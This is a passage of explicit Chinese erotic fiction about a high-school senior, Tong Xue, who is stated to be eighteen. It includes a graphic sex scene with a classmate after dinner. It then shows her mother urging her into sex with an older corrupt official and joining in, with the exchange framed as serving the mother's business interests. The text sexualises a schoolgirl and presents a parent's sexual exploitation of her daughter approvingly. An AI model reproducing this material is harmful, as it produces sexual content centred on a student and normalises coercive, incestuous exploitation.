  平日又对这些学生的生活、学习关注有加,大搞感情投资,以至于把冯县长等家
  长感动到不个打电话过来问候一声都觉得有点过意不去的程度。
   这样,高三(9)班从成立那天开始,就注定要成为一高中领导心目中的重
  点,不管他们的班风学风如何。
   高中课本里的知识在高二就被讲完了,高三的课堂基本上都是学生趴在书桌
  上做题单。
   白天一共八节课,童雪做了七张半题单,之所以是七张半而不是八张,完全
  是因为一个意外的插曲分散了她的注意力,事情的经过是这样的:
   最后一节自习课,教室寂静无声,大家都各忙各的。童雪感到肚子一阵阵的
  抽疼传来,实在控制不住,去厕所解放了下,想着估计是早晨被胡源那老色狼掀
  被子时凉到了肚子。如此反覆了四五次,还是感觉难以控制。
   冯飞察觉有点不对劲,问明情况后,给童雪拿了些止泻药来,这才有所好转。
  放学后,童雪约着冯飞一块吃饭,一是回报冯飞拿药之劳,二是冯飞在她母亲的
  酒店筹建过程中帮过一次小忙。
   *****
   " 别给我省钱!"
   在一家中等规模的饭店里坐下后,童雪笑着将菜谱递到冯飞面前。
   " 那我就不客气了!" 冯飞嘴这么说,却只点了几个清淡的毛菜。
   " 怕我没钱啊——过了这个村可没这个店喽!" 童雪毫不领情并略带不满的
  说。
   " 大不了下回我请。" 冯飞笑着说。
   " 那可挺好!"
   童雪望着冯飞,得意的眯起双眼。
   冯飞是童雪回凌山后交的第一个" 异性朋友" ,同时也是她的社交圈综合实
  力最强的一个男生:无论长相、头脑、家势都样样出色出众。虽然也和冯飞做过
  两次,童雪却始终无法将他同" 男朋友" 三个字联系在一起,对于这一点,连童
  雪自已也觉得奇怪,因为恁心而论,冯飞唯一的缺点似乎就是学习成绩稍稍差了
  一点,可这对一个干部子弟来说又根本算不上缺点,她也从没把学习成绩作为横
  量一个男生是否优秀的标准。
   但不知为何,从认识冯飞的第一天起,她在潜意识里便产生了一种无法言喻
  的排斥感,如果上几次,不是喝多了,肯定也不会和冯飞上床,童雪想到这里,
  心里暗暗的叹了口气。
   " 这一杯——" 童雪给冯飞斟满酒,然后举起杯一本正经的说:" 谢谢冯少
  爷这段时间对我的关照!"
   " 你别跟我扯,咱们都赤膊上阵过,用不着的!" 冯飞笑着把杯中的酒喝干,
  一边给童雪倒酒一边没话逗话的问:" 早上因为什么打胡源啊?"
   "正气江湖行,刀出非我心"童雪表情严肃的说。
   " 那老家伙挺有根儿的,以后你小心点!"
   " 有冯飞在,凌山县我怕谁?" 童雪不以为然的说。
   " 玩我!" 冯飞瞪起眼睛,嘴上虽然这么说,心里却美滋滋的,想着今天估
  计是个好时机,贺新颖这妞那好处只有睡过的才知道,就是太傲,硬上很难得手。
   酒喝得差不多了,童雪从随身携带的皮包儿里掏出一沓钱放在冯飞面前,然
  后不动声色的说:" 这两 捆 钱你拿着,谁帮咱办事了,请请人家!"
   " 你跟我开玩笑吧?" 冯飞把钱推回去,不高兴的说:" 咱们之间还用这个!
  "
   " 听着,这钱你必须得拿着,要不然朋友就没得做了!" 童雪盯着冯飞认真
  的说。
   " 什么意思?我帮你那点小忙――你给我钱不是骂我吗?" 冯飞的表情像是
  受到了侮辱:" 咱俩说白了,床也上过,屄也操过,至于这么见外么".
   " 谁说这钱是给你的了?我刚才不说了吗,谁帮咱忙了,请请人家,别让人
  家说咱没人情味――这跟你睡觉是两码事,这钱你必须得收下,没商量!要不然
  我马上走人,以后再也不找你办事了,更别谈上床了。" 童雪态度坚决的说。
   " 你这是什么逻辑?" 冯飞苦笑。
   " 我的逻辑,你要还是不要?" 童雪说着便站了起来。
   冯飞见童雪真的拎包要走,连忙起身拉住:" 要,我要还不成?这么着吧,
  我留一 梱 ,今天陪陪我,你知道我老头管得紧,好长时间没哪啥了,成不?
  "
   童雪脸色一冷:" 你好长时间没哪啥了,关我什么事啊,你留一 梱 ,还
  剩下一 梱 算什么,当我是婊子啊!"
   " 别介,真没这个意思,我全收着了" 冯飞立刻意识到说错了话,赶紧装着
  一副可怜模样,哄着童雪:" 好姐姐,我都快爆体了,就可怜可怜我吧。"
   童雪斜着眼睛看着冯飞,卟哧一声笑了出来:" 爆了好,少了一祸害!"
   冯飞看童雪开了脸,立刻顺杆子就爬,搂住童雪的腰就往宾馆走。
   " 今晚不能很晚,我要回家" 童雪拨拉开冯飞的手:" 要不是下午看你送药,
  才懒得理你。"
   两人进了宾馆房间,开了点暖气。冯飞一边脱衣服一边问:" 要不先去洗洗?
  "
   " 要洗你去洗,姐没那爱好" 童雪坐在床边把外衣也脱了下来。
   冯飞看着身穿三点式的童雪,不自觉的咽了两口唾沫:" 这也太诱惑了,难
  怪早晨那胡源被你给玩惨了。"
   童雪白了一眼:" 我不洗,你赶紧给我用刷子刷一遍去,别脏兮兮的让我恶
  心!"
   冯飞屁颠屁颠跑去冲澡,童雪把胸罩、内裤也褪了下来,靠在床上想着心事。
  不一多会,冯飞就光着身子出来了,胯下那鸡巴高高的竖着,龟头像一颗小鹌鹑
  蛋似的从包皮中探出,散发着淫靡的光泽。
   童雪看了眼冯飞的鸡巴,心里想,他也就这点东西让人看着省心。
   冯飞快速冲到床边,嗷的叫了一声就扑在了童雪的身上,捧着童雪那对坚挺、
  浑圆的乳房啃了起来,童雪那一对奶头顿时被冯飞吮吸得满是口水。童雪在冯飞
  头上拍了一巴掌:" 小时候没喝够你妈的奶,这么来劲?赶紧办事,我还急着回
  家!"
   冯飞抬起头嘟咙了两声:" 工作总得一步步做啊,要不你帮我唆下鸡巴?你
  要本事,直接让我口爆!"
   童雪瞪了冯飞一眼,把冯飞推到在床上,转身跨坐在冯飞身上,把个大屁股
  对着冯飞的脸:" 今天本小姐兴致不高,出不来水,你要把本小姐弄出了感觉,
  今天就陪你做两次。"
   说完,童雪把回过头,朝冯飞的龟头上吐了口唾沫,抺了抺后,用嘴含了进
  去,上下吞吐着,不时用小舌头绕着冯飞的马眼刮蹭几下,爽得冯飞直打了几个
  哆嗦。
   童雪翻了翻白眼,把屁股对着冯飞不满地摇了两下,冯飞立刻用手掰开面前
  的屁股瓣,露出了童雪那肥美的大阴唇和紧缩着的小屁眼,冯飞暗叹了下,伸出
  舌尖,在童雪的阴蒂、屁眼间来回舔弄,不一会,冯飞扭过头朝床外吐了口唾沫:
  " 操,这味真重,新颖,你下午拉屎擦干净没?嗷~~"
   童雪松开咬着冯飞龟头的牙齿:" 爱舔就舔,不舔拉到!稀罕得你了,本小
  姐这极品屁眼,等闲人等想舔还舔不到呢!"
   冯飞无语,只好捧着童雪的屁股,努力做着清洁工作,那叫一个仔细,基本
  把童雪屁眼皱褶全清理了一遍,童雪看他这么卖力,也更细致的吮吸起来,间隔
  一会还会把冯飞的两个小蛋蛋含在嘴里舔弄一番。
   冯飞更加卖力,对着童雪的屁眼又是吮又是吸,还不时把舌尖往童雪的肛门
  里顶去,童雪吐出含着的鸡巴:" 操,你会不是想操我屁眼吧,告诉你哈,没门!
  换过地方舔!"
   冯飞的鸡巴已经快被童雪唆爆了,听了童雪的话,哪里有什么脾气,赶紧用
  手分开童雪肥厚的大阴唇,舔弄起阴蒂来。
   童雪只感到一阵阵的快感从阴门处传来,身体克制不住的颤抖着,嗓子里轻
  声的哼吟着,阴道里的淫液也越来越多,冯飞用手指插入了童雪的阴道扣了扣:
  " 新颖,差不多了,来水了,再不插进去我真的要爆了!"
   童雪翻身躺在了床上,用手勾住自己的大腿,把阴部叉得开开的,大阴唇已
  经完全张开了,阴道口象会呼吸般一开一合着,不住的流出淫水,顺着屁眼滴落
  在床单上,奶子像是变得更大了,乳头也由粉红色转成了深红色。
   冯水本就精血上脑,看到这幕,脑子里嗡的一下,就冲了上去,哆嗦着把阴
  茎往童雪阴道里塞,塞了好半会,还是不得其道而入,童雪被冯飞也顶得上了火,
  轻声骂了一句,然后用一支手抓住冯飞已硬得似铁的鸡巴,顶在了自己的阴道口。
   " 新颖真懂事。" 冯飞大乐,举着童雪的两条腿,腰杆子猛地往前一送,整
  根鸡巴顿时全根没入了童雪的阴道,童雪的屁眼一个剧烈收缩,象是要化解这股
  力道一般,闭着眼睛满足的叹了口气。
   冯飞停了一会,体会完童雪阴道那肉壁紧箍的感觉后,开始大抽大送,整间
  房里充斥着操屄时那啪啪的肉体撞击声和冯飞粗重的喘气声。
   冯飞着力的操弄了几百下后,童雪也控制不住了,双手揉弄着自己的乳房哼
  唧起来:" 好冯飞,你鸡巴真肥啊,操得我好得劲,舒服死了,啊~再用力一点~
  "
   冯飞看童雪叫起了床,兴奋度又提高了一大截,只见鸡巴飞一般的在童雪的
  阴道里快速抽插着,带着阴道内的淫水和秽物,顺着童雪雪白的屁股流了下来,
  刺激着童雪那精致的屁眼一松一放的。
   " 妹子,操得过瘾吧" 冯飞看童雪快到高潮了,更是不停的用言语挑逗:"
  妹子你这屄真紧,肯定不经常操,你看你这阴蒂,粉红粉红的,真漂亮。" 说完,
  用手指在在两个人的交合处抹了点淫液,搓动起童雪的阴蒂来,这下童雪更是经
  受不住,直打哆嗦:" 好美,妹子这小骚屄今天就是给飞哥操的,爱死你这大鸡
  巴了,那龟头刮得我里面太舒服~爽死了~要泻了~"
   一股火热的淫水顺着童雪的阴道倾泻而出,烫得冯飞的龟头涨大了一圈,差
  点没守住精关,冯飞咬着牙忍了下来:" 操,千万别射,今天不能便宜了这小婊
  子。"
   童雪瘫软在床上,回味着刚才那高潮快感,小嘴微微一张一合地喘着气,胸
  前那对乳房也象有了自己的生命般,微微抖动着,形成一道道雪白眩目的乳波,
  过了好一会才回过神。
   童雪支起身子,睁着双大眼睛盯着交合处,看着冯飞黑红色的阴茎仍不紧不
  慢的在自己的阴道内抽插着,感觉比刚才更粗壮了些,每次插入抽出时带着自己
  的小阴唇翻进翻出:" 喂,今天你吃了春药啊,这么生猛,不但没射,鸡巴好象
  更大了,不象你以前的作风啊。"
   " 嘿嘿,那是,经过贺大小姐几次教导,我加强了修练" 冯飞得意的笑了起
  来,一边抓住童雪的两只乳房,加快了抽送的频率:" 贺大小姐尽兴了,我这还
  涨着呢,要不换个姿势?"
   童雪用手指触了触冯飞鸡巴上那突出的经络,又摸了摸那已经湿得不像话的
  床单,点了点头:" 快点,我还要赶着回家呢,说吧,什么姿势。"
   冯飞撇了撇嘴,心想:" 这丫头,自己爽完就完事了是吧,成,今天不再操
  出你一个高潮来,我随你姓。" 想完把鸡巴从童雪的屄眼里拔了出来,只听" 啵
  " 的一声,从童雪阴道里又流出一堆的赖赖汲汲的淫物,低头凑上去闻了下:"
  真骚。"
   童雪轻轻的扇了冯飞那还怒挺着的鸡巴一下:" 少扯犊子,快说什么姿势,
  你找个最有感觉的,我还要回家!"
   " 狗交吧" 冯飞扯过床头的毛巾,擦了擦自己湿漉漉的鸡巴:" 这姿势好,
  很野性,哈哈!"
   童雪皱了皱小鼻子,也不愿多生事端,点了点头下了床,走到电视柜边上,
  手一撑,双腿稍微分开,屁股向后一撅:" 来吧,快点!"
   冯飞挺着鸡巴慢慢走了过来,先是掰开童雪的大屁股,冲着屁眼舔了几下,
  又用手捏了捏从屁股缝下露出的阴唇:" 贺大小姐,有点肿啊。"
   童雪回头一巴掌拍开正在扣弄自己阴唇的手:" 再磨叽,你就自个回家打手
  枪去!"
   " 别!我不是在体贴你,让你再次进入状态么" 冯飞也不废话,用一只手撑
  开阴门,轻车熟路的插入了童雪的还满是淫液的阴道,不紧不慢的抽插起来。
   冯飞下身做着匀速的活塞运动,两只手在童雪的屁股上左摸右掐:" 我说妹
  子,你这屁股真是长绝了,又大又翘又白,还真是一点瑕玼都没有啊,我找了半
  天都没找到。"
   " 滚犊子,又不是白面馒头" 被冯飞操弄了一会,童雪感觉又上来了一点,
  把头靠在桌上,体会着从阴道内传来的丝丝快感。
   冯飞嘿嘿一笑,把童雪的屁股往两边分了一分,使她原本紧缩的屁眼张开了
  一点,再从下面交合处抹了些淫水上去,就拿着食指往里塞,指尖刚进去,童雪
  立刻有种想大便感觉,立刻收紧肛门,把冯飞的指头夹在屁眼里:" 冯飞!不是
  说了别打那主意么!你再往里伸试试,我立刻走人!"
   冯飞连忙把指头从童雪屁眼里拔出来,尴尬的笑了下:" 不是不是,没起那
  心思,就是看着你屁眼太漂亮了,跟朵菊花似的,忍不住想探探。"
   童雪看冯飞把手指拔出,也不纠缠,却着力的将屁股向后顶去,用力夹紧阴
  道,希望冯水快点射精,早点完事好回家休息。
   冯飞看今天开辟新战场的梦想无望,加之时间也挺晚了,也没言语,双手捧
  着童雪的屁股奋力抽插起来,童雪随着冯飞着力的抽送,又渐渐有了感觉,淫水
  也越来越多,两个交合处发出" 叽咕叽咕" 的声响。
   冯飞今天已到了极限,在猛力又抽插了一百来下的时候,感觉已经忍不住了,
  龟头已经不受控制的一紧一缩着。童雪感觉自己阴道内的阴茎又粗大了不少,知
  道冯飞快射精了,连忙夹紧屁股。
   童雪收缩的阴道壁给冯飞的龟头更强烈的刺激,冯飞再也禁受不住,把腰干
  狠力向前一顶,将阴茎尽根操入了童雪的阴道,俯身下去,紧紧握住童雪的两只
  乳房,龟头象火山喷发一般,将十多股火烫的精液射入了童雪的子宫。
   冯飞气喘吁吁的从童雪身上下来,打着晃坐回了床边:" 好爽,对了,射在
  里面没事吧?"
   " 没事,我带了药。" 童雪一边低着头用纸巾擦拭一踏糊涂的阴部,一边回
  答:" 开始答应了两次的,记账吧,今天下午泻肚子泻得没精力了。"
   " 成,贺大小姐记得就行,要不要送送啊?"
   " 不用了,离得近。" 童雪擦拭完身上,穿上衣服急急冲冲的就离开了。虽
  然与冯飞有过多次肌肤之亲,但童雪始终觉得和冯飞在一块有点不自在,也不知
  为何。
   *****
   十二点,有些疲惫的童雪打开了自己的家门,客厅黑糊糊的,但母亲的房间
  透出一丝光亮,隐约还传来" 啪啪" 的肉体撞击声音,童雪撇了撇嘴,悄悄的走
  到母亲房间门口,就倚着门框向里看去。
   映入童雪眼帘的画面是,一胖胖的老男人趴在一个成熟清丽的少妇身上,腰
  间不停的耸动着,从童雪这个角度看去,可以看到那男人粗胖的阴茎正在少妇的
  阴道中进进出出,带出一股股淫夜,顺着少妇的屁股沟流到了床上。
   这老男人童雪认识,也和母亲一起应付过两次,50多岁,性欲旺盛,据说
  是县里的什么大官,但具体是哪部门干嘛的,就不清楚了。
   成熟清丽的少妇正是童雪的母亲,生童雪的时候也才18岁,虽说现如今也
  36岁了,但一点都不显老,和二十七八的大姑娘没啥区别,只是显得更丰腴一
  些,再配合那清丽的面孔,更显性感,童雪每次和母亲上街,很多人都误认为她
  们是俩姐妹。
   那老男人估计是快要射了,明显加快了频率,童雪母亲也被操得浪叫了起来:
  " 好老公,使劲操,我这大骚屄天生就是让你操的,啊~~~好爽,操进妹妹的
  子宫里了~~~啊~~~真舒服啊~"
   " 佳妹这嫩屄真没得说,够劲,好久没这么畅快过了!" 那老男人射了精,
  趴在童雪母亲身上呼哧呼哧喘着粗气。
   看他们完了事,童雪觉得有些无聊,想趁着他们还没发现,便转身离开。
   " 雪儿,你今天怎么回来了?" 这时她母亲抬起头,正好看见准备离开的童
  雪,实在没料到童雪前两天刚回来过今天还会回来,表情有些不自然,面上挂起
  了一层红色的薄雾。
   老男人也是一惊,忙转身回头,看到童雪正俏生生的站在门口,顿时吁了口
  气,笑了起来:" 我说闺女,怎么进来都不吱个声啊?"
   " 高叔好――看你们正忙着,不愿坏了你们的雅兴。" 童雪冲着老高俏皮的
  皱了皱鼻子。
   又转向身对母亲说:" 妈,又不是一次两次了,怎么还害臊啊,我今天太累
  了,就不打扰你们了,我回房间了。"
   " 别!" 老高快速拔出还留在童雪母亲阴道里的阴茎,跳下了床,拉住童雪
  的手:" 好闺女,咱们可是好久没见面了,陪老叔再乐呵乐呵成不?"
   " 你成不成啊?" 童雪一把握住老高那半软的阴茎捏了捏:" 您老都50多
  了,这么干对身体可不好。"
   童雪母亲倚在床边,看着老高的鸡巴在童雪的揉捏下,竟然又有了起劲的势
  头,羞骂了一句:" 还真是老色鬼,有了小的忘了老的,那有一点国家高级干部
  的样子!"
   老高看着眼前俏然而立的童雪,兴奋的直搓手:" 都喜欢,各有各的好处,
  今天我就舍命陪君子了!"
   转身,老高就冲到他包那里掏摸起来,不一时就拿出一盒药出来。
   童雪一看是伟哥,连忙过去拉住正要吞药的老高:" 高叔,开始是逗您呢,
  今天我真的不得劲,改天,改天再陪高叔好好玩玩?"
   老高闻听此言,脸色一苦,冲着童雪母亲说:" 我说贺佳,难得碰到你这闺
  女一次,还是看得着吃不到,这不是要急死我么?"
   童雪母亲看着老高那猴急的样子,卟哧笑出声来,对童雪说:" 雪儿啊,合
  这么巧就和你高叔遇到了,也算缘分,你看,如果不是太累,就做一次?"
   童雪暗里叹了口气,无奈的点了点头,再看着兴奋得满脸红光的老高转身就
  把那药丸给吞下去了,心里想:" 还止做一次?今天晚上估计觉都没得睡。"
   " 闺女,我来帮你脱衣服,来,把手抬高。" 老高顺着手就把童雪上半身的
  T恤给褪了下来,两团雪白的嫩肉生生的从蕾丝边半杯乳罩中挤了一大块出来,
  象是要挣脱束缚一般。老高隔着乳罩捏了捏童雪的奶子,转头对童雪母亲说:"
  妹子,你闺女这奶子不比你的小啊。"
   " 别贫了,你该干嘛干嘛,影响我休息。" 童雪母亲笑骂了一句。
   老高嘿嘿笑了一声,手弯到童雪身后,解开了胸罩的扣子,一对挺拔的双乳
  顿时出现在老高的眼前,和童雪母亲那些许松软的乳房不一样,童雪的乳房傲然
  向上挺立着,结实的肉感散发着十八岁少女遮挡不住的青春魅力。老高俯下身子,
  含住童雪的一个乳头,舔弄起来。
   " 真磨叽,再磨叽今天晚上都别睡觉了" 童雪母亲光着身子从床上爬了起来,
  在老高的屁股上拍了一巴掌:" 都到客厅去,我这房间小,经不住折腾!"
   老高应了一声,停止了吮吸,然后猛地一抱,把童雪打横抱在怀里向客厅走
  去。
   童雪一惊,转身又咯咯咯咯的笑了起来,搂着老高的脖子:" 哟,高叔,还
  真看不出来,您这身子骨可真够棒的啊!"
   " 那是!" 老高得意的笑了笑:" 这是高叔老了,要年青的时候,我用鸡巴
  都能把你吊出来!"
   " 真的假的啊,那呆会我得试试。" 童雪手往下一伸,握住了老高基本已经
  硬起来的阴茎扯了几下。
   童雪母亲站在灯火通明的客厅,看着这两人没大没小的走了过来:" 老的不
  正经,小的也不正经了,老高开始不是那么急么,要操就快点,我在一边看着。
  "
   " 还不是跟您学的。" 童雪对母亲可爱的伸了下舌头,转身从老高怀里跳了
  下来。
   老高拉着童雪的双手,让她搂紧自己,头一低就吻了上去,吮吸着童雪的舌
  头,这边手还不忘记往下走,在童雪屁股上着力的揉了几下后,开始褪童雪的内
  裤。
   童雪一边和老高接着吻,一边抬起脚尖,把小内裤拿在手上,正准备往边上
  扔,被老高一把抓在手上。
   " 哟,这什么呢,赖赖汲汲一片,还是湿的。" 老高停止了和童雪的亲吻,
  把童雪的内裤拿在手上:" 难怪了,我说今天闺女怎么不得劲啊,原来是在外面
  操完了屄才回来,哈哈!"
   " 我闺女操屄啥时轮到你管了!" 童雪母亲一把夺过老高手上的内裤,转头
  问童雪:" 谁啊?"
   " 冯飞,今天请他吃饭了。"
   " 哦,那小子啊。" 童雪母亲眼睛里闪过一丝明悟。
   " 哈哈,那小子不错!" 老高又是一抱,把童雪放在了客厅的大沙发上:"
  我说闺女,是冯飞的鸡巴大,还是叔的鸡巴大啊?"
   " 都不错,不过高叔的阴茎上突起多,龟头也稍微大一点。" 童雪一边笑着
  一边用手握住老高的阴茎,还不时用手指将马眼处渗出的精水涂抹着老高的龟头。
   " 你也是为老不尊,这有什么好比的?" 童雪母亲走到跟前,也用手握了握
  老高的阴茎:" 药性到了,都这么硬了,要操就快点,雪儿明天还得上课呢!"
   " 不急不急,这么鲜美的大餐,怎么能放过。" 老高咧了咧嘴,把童雪的双
  腿分开,近距离的观察起来,童雪的阴阜高高的坟起,由于操完屄没多久,还没
  冲过身子,阴阜上的阴毛还粘在一块,搭啦着,大阴唇也张开着,阴道还没完全
  回缩,露出了一截粉红的阴道壁,边上糊满了她和冯飞操屄时留下的秽物,散发
  着一股腥骚味道。
   老高耸了耸鼻子,凑在童雪的胯间,深深的闻了下童雪阴部散发出的那浓郁
  的夹杂着由童雪体香和女人阴部特有骚味混合而成的刺激味道,舔了舔舌头:"
  闺女,看今天叔给你洗次屁股。"
   童雪母亲哑然失笑,也不管了,就坐到一边看着老高卖力的在自己闺女的股
  间舔弄着。
   老高弄女人的手段,绝不是冯飞这样的小年青可比的,没舔多大一会,童雪
  便抱住老高的头,哼哼唧唧起来:" 舔得真舒服~高叔的舌头都快顶到我的屄心
  子了,啊~快来操侄女的小屄吧~~啊~~"
   老高岂能这么容易放过她,也先不舔了,摸了摸自己肿胀得有些难受的阴茎,
  对坐在一边看热闹的童雪母亲说:" 贺佳,过来,到下面帮我唆唆。" 说完弓起
  身子,叉开那双满是粗毛的大腿,跪在童雪胯间继续舔弄起来。
   " 什么操性,要求还真多!" 童雪母亲走了过来,仰面躺在老高的股间,用
  手把老高那硬挺得都快帖到肚皮上的鸡巴往下一扳,唧唧咕咕的吮吸起来。
   随着老高的舔弄,快感一波一波的冲击着童雪,更是止不住呻吟:" 高叔真
  厉害~啊~~侄女屄里好痒~快把你的大鸡巴操进来吧~啊~~受不了啦~~"
   童雪母亲听着吐出老高的鸡巴,笑了起来:" 闺女,别急,里面越痒呆会你
  高叔操起来你就越舒服。"
   老高看童雪母亲停止了吮吸,也抬起头,将两根手指插入童雪的阴道里:"
  哈哈,水够多了,也不馋你了。" 说完,用手拧了拧还躺在他屁股下面童雪母亲
  的脸:" 起来,看我怎么操你闺女!"
   " 我生的闺女我知道,还能让你操坏了不成?" 童雪母亲笑着爬了起来,蹲
  在沙发边上,用手握住老高粗大的阴茎,拿个龟头在自己女儿的屄口来回磨动:
  " 闺女别急,马上就进去了。"
   童雪被不断在自己阴蒂阴门间来回磨动的龟头刺激得不行,屄心子一阵紧缩,
  又泄了一小股淫水出来:" 啊~妈,把把高叔的鸡巴塞进来吧,太难受了~啊~~
  "
   老高也不急,一手揉着童雪的乳房,另一手抓着童雪母亲的奶子玩弄着:"
  我说贺佳,这可是你闺女,你不心疼,我都心疼了,哈哈!"
   童雪母亲娇嗔的白了老高一眼:" 就你话多,我这不是想让闺女更舒服点么
  " ,说完就把老高的龟头给捅到女儿的阴道里去了,伸手往老高屁股上一按,只
  见老高的阴茎顺着童雪已满是淫液的阴道就全根插了进去。
   " 噢~" 童雪快乐的呻吟了一声,阴道传来被老高鸡巴紧紧涨涨充满着的感
  觉:" 啊~~真得劲~高叔的鸡巴真粗啊,侄女的屄像要被撑爆了~啊~~"
   童雪母亲笑了起来,在一边用手揉弄着自己女儿的乳房,眼睛盯着老高和女
  儿交合的地方,说:" 你这妮子,到是越来越浪了。"
   " 还不是你的种。" 老哥嘿嘿的笑了起来,用手按在童雪的纤巧的腰肢上,
  慢慢的抽送进来。
   " 不是这种,咱娘俩还轮到你来操,啊~~轻点~~屄心子要操开花了~啊~~
  亲老公~我服了还不成?啊~~"
   老高看童雪还敢顶嘴,立刻撑起身子,打桩似的将自己的阴茎在童雪的阴道
  里一下一下猛力操着,童雪立刻被操得胡言乱语起来。
   老高看整治得差不多了,又减慢了动作,对着童雪母亲笑着说:" 贺佳,看
  吧,辈份都乱了,都叫上老公了,好象刚才你被操的时候,也喊我老公来着,这
  下看你母女俩怎么整,哈哈!"
   童雪母亲笑着在老高的屁股上拍了一巴掌:" 就你事多,女人挨操,高兴了
  不都乱叫,叫了怎的,我是大老婆,雪儿是小老婆,还美不死你?"
   " 那是,那是,老个老婆都漂亮,屄都紧。" 老高连忙点头称是:" 各有千
  秋啊,哈哈!"
   童雪母亲一边听着女儿和老高的淫言浪语,一边看着老高粗黑的暴着青筋的
  鸡巴在自己女儿阴道里抽插,时不时还从童雪阴道口挤出一股淫水,自己也控制
  不住了,淫水止不住的从阴道里流出,顺着大腿滴落下来,感觉腿有点软,不自
  禁的晃了一晃。
   老高一看,伸手往童雪母亲胯下摸了过去,不一会,抽回湿漉漉满是淫液的
  手,在童雪眼前晃动着:" 闺女,你妈又开始流水了,还真是极品啊!看你妈忍
  得这么辛苦,要不你帮她舔舔?"
   " 不要,脏。" 童雪母亲有点不好意思。
   " 说什么呢,你闺女还不是从你屄里出来的?" 老高拍了童雪母亲的屁股一
  把:" 快蹲过去!"
   " 你懂什么,我妈是不好意思" 童雪瞥了老高一眼,转身对母亲说:" 妈,
  都这样了,还臊什么,蹲上来吧。"
   童雪母亲本已是忍耐不住,禁不住两人的催促,也爬上了沙发,半蹲在童雪
  的脸上,童雪用手抱住母亲的雪白屁股,向下拉了拉,就着口舔了起来,舌尖不
  住地在阴蒂和肛门处打钻,时不时还把舌尖卷起来,朝母亲的阴道里捅去。
   这下,三人都没空言语了,老高一边不停的做着活塞运动,一边欣赏着面前
  这对漂亮得象姐妹花般的母女。还没过一会,童雪母亲就象坚持不住了一般,大
  腿颤抖了起来,口里囔囔着:" 啊~不行了~不行了~再舔就要泻了~" 然后瘫
  软到了一边:" 你们先弄吧,我歇会。"
   " 哟,闺女,挺能耐啊,嘴上工夫这么厉害,这才多大一会啊,你妈就快泻
  了。"
   " 不懂了吧,我妈最喜欢别人给她舔屁眼,那里也是她的敏感带~啊~轻点~
  "
   " 轻点?嘿嘿,轻点估摸着我操到明天天亮,你都到不了高潮。" 老高加快
  了抽插的速度。
   童雪母亲回过了神,又蹲到了一边,一只手在童雪的小腹上不停的揉动着,
  另一只手轻轻按着童雪的阴蒂。童雪更是经受不住,没过多久就泻了身子,疲卷
  的躺在沙发上,对老高说:" 高叔,真不行了,再泻就要死了。"
   童雪母亲在一旁看到女儿泻了身子,拽了一下老高:" 你侄女年纪还小,经
  不住折腾。"
   " 哟,就心疼了。" 老高哧溜一声把鸡巴从童雪阴道里拔了出来,把湿漉漉
  满是淫液的龟头顶在童雪母新的嘴边:" 估摸着你也忍不住了吧,来!唆干净了。
  "
   童雪慵懒的躺在沙发上,看着母亲给老高舔着鸡巴,半晌无语,眼睛中透出
  一丝迷茫。
   老高抬头一看挂钟,也觉得不能再拖了,不然回去不好交待。也不多话,指
  挥童雪母亲趴在沙发上,从后面捅了进去,埋头操弄起来,顿时操屄声、肉体撞
  击声、浪语声不绝于耳,约莫三四百下后,满头大汗的老高终是在童雪母亲体内
  射了精。
   " 累死我了,这还真是体力活。" 老头起身抹了抹头上的汗。
   " 要体力活都这样,那估摸着没人愿做脑力活了。" 童雪在一边撇着嘴道。
   一句话把两个大人都逗笑了,老高还连连说" 是"
   老高拒绝了童雪母女俩人的挽留,急匆匆的离开。
   母女俩洗完澡后,躺在床上聊着天。
   " 今天怎么回来了,没在学校住?"
   " 想妈了!" 童雪眼睛盯着房顶,轻声说。
   " 最近和老高的关系怎么样。" 沉默了一会,童雪轻声问道。
   " 还成吧" 童雪母亲简单的回答:" 就是苦了你了。"
   " 我没事,年青着呢。" 童雪轻微的摇了摇头:" 妈妈的事业重要,但有一
  点,我觉得差不多你要也脱身了,天天这么和他混着不是回事。"
   " 你就别操心妈妈的事了,哪有这么容易脱身。" 童雪母亲眼里闪过一丝无
  奈。
   " 妈,跟你说真的" 童雪眼前浮现出爸爸的脸:" 老高现在是有点权力,但
  像这样长的又老又腐败的家伙太容易出事,再说恁什么他找大姑娘,咱找老头啊?
  "
   一句话说到了童母的痛处,接着眼泪便不争气的在女儿面前滚落下来;她本
  能的把女儿抱紧,就像要抱回年轻时代的自己。
   (待续)